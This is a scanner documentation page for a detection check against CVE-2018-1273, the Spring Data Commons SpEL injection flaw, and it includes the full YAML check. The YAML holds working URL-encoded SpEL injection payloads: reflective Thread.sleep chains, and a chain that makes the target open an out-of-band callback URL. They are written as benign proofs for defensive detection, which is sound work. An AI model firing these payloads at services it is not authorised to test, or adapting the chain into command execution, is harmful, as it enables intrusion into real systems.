Spring Data — 1 vulnerability check

noctis ships 1 vulnerability check for Spring Data, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Spring Data Commons SpEL Injection RCE

CVECVE-2018-1273
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, wait_oob, match · highest QoD 97
Feedtests/vulnerabilities/spring-data/CVE-2018-1273.yaml

Unauthenticated SpEL injection in Spring Data Commons property-path binding (POST /users form, as in the Spring Data web example). The probe sends a form parameter named username[<SpEL>] whose expression only uses reflection reachable from #this. With an out-of-band listener, the expression opens a per-run callback URL that SpEL itself assembles from two halves; the callback confirms evaluation. Without one, the expression calls Thread.sleep: a 0 ms control, then 4 s and 2 s delays must each slow the reply by the requested time, which a fixed release (no method evaluation) or a uniformly slow server never does. No command is run and nothing is written on the target.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET /users
  3. HTTP(S) request POST /users with a crafted body
  4. HTTP(S) request POST /users with a crafted body
  5. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: Spring Data Commons SpEL injection confirmed: the username[<SpEL>] key POSTed to /users made the server open the per-run OOB URL, which onl…
  6. HTTP(S) request POST /users with a crafted body
  7. HTTP(S) request POST /users with a crafted body
  8. Checks slow2.body for [\s\S]* → finding QoD 75: Spring Data Commons SpEL injection confirmed by timing on POST /users: username[<SpEL>] calling Thread.sleep through reflection answered HT…

References:

Feed source — tests/vulnerabilities/spring-data/CVE-2018-1273.yaml
# Spring Data Commons — SpEL Injection RCE (CVE-2018-1273)
#
# Spring Data Commons (and Spring Data REST) bind request parameters whose
# names are property paths. Versions 1.13.x < 1.13.11 and 2.0.x < 2.0.6
# (and the derived Spring Boot releases) evaluate a property-path segment of
# the form  name[<SpEL>]  through a SpEL ExpressionParser *before* any
# authentication, so an attacker-controlled form parameter name executes
# arbitrary SpEL — i.e. unauthenticated remote code execution.
#
# Sink (spring-data-commons 2.0.5 MapDataBinder.MapPropertyAccessor
# #setPropertyValue): a StandardEvaluationContext whose TypeLocator always
# throws TYPE_NOT_FOUND — so T(...) type references never evaluate — but whose
# default method resolvers do, so reflective chains built from #this.getClass()
# run. The evaluated value is never reflected: a vulnerable instance answers a
# generic 500 "Invalid property 'username' …" whatever the key does. 2.0.6
# switched to SimpleEvaluationContext.forPropertyAccessors(...) without method
# resolvers: the same keys fail at once, nothing runs.
#
# Proofs (benign — no OS command, no file write):
#   1. OOB (QoD 97): java.net.URL(<oob url>).openStream() through reflection;
#      the URL is assembled by SpEL from two halves ("http://h:p/<tok[0..8]>"
#      .concat("<rest>")), so a server that merely fetches URLs it finds in the
#      request body calls a path that is not the token.
#   2. Timing (QoD 75): Thread.sleep(N) through Method.invoke — control 0 ms,
#      then 4000 and 2000 ms, each delay checked in its own window relative to
#      the control, plus a >= 1.5 s gap, so a WAF/IPS that slows every request
#      by the same amount never matches.
# Verified on a real vulhub/spring-data-commons:2.0.5 (issue #2451): the
# sleep chain answers 500 in 0.016 s with 0L and 3.01 s with 3000L; the former
# reflection probe (T(java.lang.String)…concat) gave 0 findings there.
uid: 0c21db7f-026c-4c56-ad2b-264196cab62d
name: "Spring Data Commons SpEL Injection RCE (CVE-2018-1273)"
description: |
  Unauthenticated SpEL injection in Spring Data Commons property-path binding
  (POST /users form, as in the Spring Data web example). The probe sends a
  form parameter named  username[<SpEL>]  whose expression only uses
  reflection reachable from #this. With an out-of-band listener, the expression
  opens a per-run callback URL that SpEL itself assembles from two halves; the
  callback confirms evaluation. Without one, the expression calls
  Thread.sleep: a 0 ms control, then 4 s and 2 s delays must each slow the
  reply by the requested time, which a fixed release (no method evaluation)
  or a uniformly slow server never does. No command is run and nothing is
  written on the target.
cves: [CVE-2018-1273]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.25
tags: [spring, spring-data-commons, spel, rce, java, vmware, kev, intrusive]
services: [http, https]
author: noctis
version: "2.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2018-1273"
  - "https://github.com/vulhub/vulhub/tree/master/spring/CVE-2018-1273"
  - "https://spring.io/security/cve-2018-1273"

steps:
  - id: split-oob-token
    action: script
    condition: "oob_enabled"
    code: |
      let n = strlen(oob_token);
      #{ a: substr(oob_token, 0, 7), b: substr(oob_token, 8, n - 1) }
    store_as: oobsplit

  # Pre-initialise every stored result read in a condition below.
  - id: init-ctrl
    action: set_var
    var_name: ctrl
    var_value: {status: 0, body: "", duration_ms: 0}

  - id: init-slow4
    action: set_var
    var_name: slow4
    var_value: {status: 0, body: "", duration_ms: 0}

  - id: init-slow2
    action: set_var
    var_name: slow2
    var_value: {status: 0, body: "", duration_ms: 0}

  # Warm-up: a plain GET absorbs the first connection's TLS handshake and
  # JVM warm-up, so the control below is not slower than the timed probes.
  - id: warm-up
    action: http_request
    method: GET
    path: "/users"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: warm

  # Control: the same reflective chain with Thread.sleep(0).
  #   %5B = [  %5D = ]  %23 = #  %28 = (  %29 = )  %22 = "  %2C = ,
  - id: control
    action: http_request
    method: POST
    path: "/users"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "username%5B%23this.getClass%28%29.forName%28%22java.lang.Thread%22%29.getMethod%28%22sleep%22%2C%23this.getClass%28%29.forName%28%22java.lang.Long%22%29.TYPE%29.invoke%28null%2C0L%29%5D=noctis&password=noctis&repeatedPassword=noctis"
    store_as: ctrl

  # ── 1. OOB callback ─────────────────────────────────────────────────────
  #   %3A = :  %2F = /
  - id: inject-oob
    action: http_request
    method: POST
    path: "/users"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "oob_enabled && ctrl.status > 0"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "username%5B%23this.getClass%28%29.forName%28%22java.net.URL%22%29.getConstructor%28%23this.getClass%28%29.forName%28%22java.lang.String%22%29%29.newInstance%28%22http%3A%2F%2F{{oob_host}}%3A{{oob_port}}%2F{{oobsplit.a}}%22.concat%28%22{{oobsplit.b}}%22%29%29.openStream%28%29%5D=noctis&password=noctis&repeatedPassword=noctis"
    store_as: oob_req

  - id: wait-callback
    action: wait_oob
    oob_timeout_secs: 15
    condition: "oob_enabled && ctrl.status > 0"
    store_as: oob_result
    on_success:
      finding:
        confidence_delta: 0.70
        qod: 97
        evidence: "Spring Data Commons SpEL injection confirmed: the username[<SpEL>] key POSTed to /users made the server open the per-run OOB URL, which only a SpEL evaluation of \"<first half>\".concat(\"<second half>\") assembles (HTTP callback received)"
      stop: true

  # ── 2. Time differential ────────────────────────────────────────────────
  - id: inject-sleep4
    action: http_request
    method: POST
    path: "/users"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 20
    condition: "ctrl.status > 0"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "username%5B%23this.getClass%28%29.forName%28%22java.lang.Thread%22%29.getMethod%28%22sleep%22%2C%23this.getClass%28%29.forName%28%22java.lang.Long%22%29.TYPE%29.invoke%28null%2C4000L%29%5D=noctis&password=noctis&repeatedPassword=noctis"
    store_as: slow4

  - id: inject-sleep2
    action: http_request
    method: POST
    path: "/users"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 20
    condition: "ctrl.status > 0 && slow4.status == ctrl.status && slow4.duration_ms >= ctrl.duration_ms + 3500 && slow4.duration_ms < ctrl.duration_ms + 6500"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "username%5B%23this.getClass%28%29.forName%28%22java.lang.Thread%22%29.getMethod%28%22sleep%22%2C%23this.getClass%28%29.forName%28%22java.lang.Long%22%29.TYPE%29.invoke%28null%2C2000L%29%5D=noctis&password=noctis&repeatedPassword=noctis"
    store_as: slow2

  - id: confirm-timing
    action: match
    source: slow2.body
    pattern: "[\\s\\S]*"
    condition: "ctrl.status > 0 && slow4.status == ctrl.status && slow4.duration_ms >= ctrl.duration_ms + 3500 && slow4.duration_ms < ctrl.duration_ms + 6500 && slow2.status == ctrl.status && slow2.duration_ms >= ctrl.duration_ms + 1700 && slow2.duration_ms < ctrl.duration_ms + 3700 && slow4.duration_ms - slow2.duration_ms >= 1500"
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "Spring Data Commons SpEL injection confirmed by timing on POST /users: username[<SpEL>] calling Thread.sleep through reflection answered HTTP {{ctrl.status}} in {{ctrl.duration_ms}} ms for 0 ms, {{slow4.duration_ms}} ms for 4000 ms and {{slow2.duration_ms}} ms for 2000 ms (delay follows the injected argument)"
      stop: true

View these feeds on GitHub